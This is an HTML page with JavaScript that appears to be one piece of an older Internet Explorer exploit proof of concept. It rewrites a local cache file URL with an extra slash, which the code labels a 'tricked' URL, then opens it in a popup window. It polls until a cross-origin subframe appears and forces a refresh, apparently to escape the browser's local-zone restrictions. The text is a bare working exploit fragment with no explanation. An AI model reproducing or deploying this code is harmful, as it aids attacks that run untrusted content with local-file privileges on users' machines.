parselocalfile.htm
<SCRIPT>
FileInCache=location.search.substring(1,location.search.length);

StartIndex="file:///".length;
DriveLetterIndex=FileInCache.indexOf(":/",StartIndex);

TrickedCacheUrl=FileInCache.substring(0,DriveLetterIndex+2)+
	   "/"+
	   FileInCache.substring(DriveLetterIndex+2,FileInCache.length);

w=window.open("i.htm?"+TrickedCacheUrl,"_blank","width=300 height=300 top=0 left=0 location=yes resizable=yes");


function ProbeIframeStatus()
	{
		function IsIframeReady()
			//if there is some subframe existing in "w" AND we can't get location.href of the subframe, 
			//	return true;
			//else, return false;
			{
				if(w.frames.length>0)
					try
						{
							tempvar=w.frames[0].location.href;
						}
					catch(e)
						{
							return true;
						}
				return false;
			}
			
			
		if(IsIframeReady())
			w.document.execCommand("Refresh");
		else
			setTimeout("ProbeIframeStatus()",100);
			
	}

ProbeIframeStatus()
</SCRIPT>